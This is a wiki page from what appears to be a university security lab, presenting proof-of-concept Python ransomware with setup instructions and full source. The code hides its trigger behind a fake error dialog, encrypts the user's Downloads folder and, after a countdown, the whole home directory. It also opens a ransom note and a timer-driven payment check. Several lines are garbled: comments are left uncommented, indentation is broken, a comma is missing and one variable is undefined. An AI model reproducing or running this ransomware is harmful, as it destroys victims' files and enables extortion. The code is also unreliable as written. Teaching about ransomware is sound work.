Python based Ransomware

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search

Summary

Various proof-of-concept implementations for a Python-based Ransomware.

AES and RSA based CGR

This section is using a standard AES encryption (symmetric) for encrypting the files. The symmetric key is encrypted with RSA (asymmetric). This procedure is also known as hybrid encryption.

Hybrid encryption

Code

The Code is available via Git.

Requirements

Tested on the following setup:

  • Ubuntu 24.04.01 LTS (amd64) - (VM in Parallels Desktop 18.3.3)
  • Python 3.12.3

venv-setup and dependency installation

In order to be able to use the virtual environment (venv) of Python, the package must first be installed via your package-manager.

sudo apt install python3.12-venv‎

Create a new virtual environment:

python3 -m venv ransomwarevenv
source ransomwarevenv/bin/activate

Install the required dependencies:

cd <your folder with the cloned client repo>
pip install -r requirements.txt

Now you are able to execute the ransomware.

Fernet key based CGR

This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:

  • A 128 bit AES encryption key
  • A 128 bit SHA256 signing key


Requirements

  • Operating system: Ubuntu 18.04 bionic amd64
  • Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE


Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git


Main Secion of the Code

 import os
 import webbrowser
 from os.path import expanduser
 from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key
 import tkinter as tk
 from PIL import ImageTk, Image
 from multiprocessing import Process
 from threading import Thread
 import time
 from pathlib import Path
 #Welcome to Somali FBI Ransomware! To start encryption:
 #python3 main.py --action encrypt
 #To decrypt files:
 #python3 main.py --action decrypt --keyfile ./path/to/key
 root = tk.Tk()
 root.title('Terminal')


 # root2 = tk.Tk()
 # root2.title('FBI SOMALIA ALERT!')
 # root.wm_attributes('-fullscreen', 'true')


 class Malware(object):
     def __init__(self):
         self.key = None  # key to encrypt the files
         self.cryptor = None  # The encryptor
         self.file_ext_targets = ['jpg', 'txt', 'png' 'zip']  # our ransomware will encrypt txt files
         self.my_file = Path("~/Desktop/MENSA.txt")  # the system will look for this file before starting the decryption process.
         self.flag = 0
         self.time = 1000000
     def mainscreen(self):
         termf = tk.Frame(root, height=400, width=500)
         w = tk.Label(root, text="Something went wrong...")
         button = tk.Button(text='Close', command=self.quitApp).pack()
         w.pack()
         root.mainloop()
         
         #This is a method that generates a key to unlock files and pass it to the crypter
         #verifies the key for decryption
         
     def quitApp(self):
         root.destroy()
         ransom.writeKey("key")
         ransom.encryptRoot(local_root)
         # canvas.delete()
         
              self.root2 = tk.Tk()
         #self.root2.wm_attributes('-fullscreen', 'true')
         #self.canvas = tk.Canvas(self.root2, width=1366, height=800)
         #self.img = tk.PhotoImage(file="data/FBI.PNG")
         #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)
         #self.canv as.pack()
         #root2.mainloop()
         
         self.tick(30) #timer for encryption
     def tick(self, t):


         while t:
             os.system('sh mi6.sh')  #shell script to change the background is run constantly
             if self.flag == 0:
                 time.sleep(5)
                 self.note = webbrowser.open('file://' + os.path.realpath('note.html'))  #Ransomware not is generated
                 self.flag += 1
             mins, secs = divmod(t, 60)
             timer = '{:02d}:{:02d}'.format(mins, secs)
             print(timer, end="\r")
             time.sleep(1)
             if self.my_file.is_file():
                 webbrowser.open('file://' + os.path.realpath('success.html'))   #Once the the ransom is payed, the success page is displayed
                 ransom.readKey('keyfile')
                 ransom.encryptRoot(local_root, encrypted=True)
                 break
             t -= 1
         if t == 0 and not self.my_file.is_file():
             webbrowser.open('file://' + os.path.realpath('fail.html'))  #If timer runs out and there are no ransom paid, fail page is displayed
             sys_root = expanduser("~")  #set new encryption directory to the root
             ransom.generateKey()    #generate a key
             ransom.writeKey("keyfile") #write a key
             ransom.encryptRoot(sys_root)    #start the encryption process
     def generateKey(self):
         self.key = Fernet.generate_key()
         self.cryptor = Fernet(self.key)
         
         read the key for decryption
         
     def readKey(self, keyfileName):
         with open(keyfileName, "rb") as f:
             self.key = f.read()
             self.cryptor = Fernet(self.key)
     
     #Save decryption key to a file
     
     def writeKey(self, keyFileName):
         print(self.key)
         with open(keyFileName, "wb") as f:
             f.write(self.key)
     
     encrypt or decrypt files from root directory
     
     def encryptRoot(self, rootDir, encrypted=False):
         for root, _, files in os.walk(rootDir):
             for f in files:
                 abs_files_path = os.path.join(root, f)
                 # pass if no target files is present in current folder
                 if not abs_files_path.split(".")[-1] in self.file_ext_targets:
                     continue
                 self.encryptFile(abs_files_path, encrypted=encrypted)
     
     encrypt and decrypt files
     
     def encryptFile(self, filePath, encrypted=False):
         with open(filePath, "rb+") as f:
             _data = f.read()
             if not encrypted:
                 # perform encryption
                 print()
                 print(f"File Contents before encryption: {_data}")
                 data = self.cryptor.encrypt(_data)
                 print(f"File contents after encryption: {data}")
             else:
                 # decrypt
                 data = self.cryptor.decrypt(_data)
                 print(f"File content before encryption: {data}")
             f.seek(0)
             f.write(data)


 if __name__ == "__main__":
     # sys_root = expanduser("~")    # Use to encrypt every folder from root
     local_root = expanduser("~/Downloads")  # Use to encrypt specific folder
     import argparse
     parser = argparse.ArgumentParser()
     parser.add_argument("--action", required=True)
     parser.add_argument("--keyfile")
     args = parser.parse_args()
     action = args.action.lower()
     keyfile = args.keyfile
     ransom = Malware()
     if action == "decrypt":
         if keyfile is None:
             print("Path to key must be specified after --keyfile for decryption")
         else:
             ransom.readKey(key)
             ransom.encryptRoot(local_root, encrypted=True)
     elif action == "encrypt":
         Thread(target=ransom.generateKey()).start()
         Thread(target=ransom.mainscreen()).start()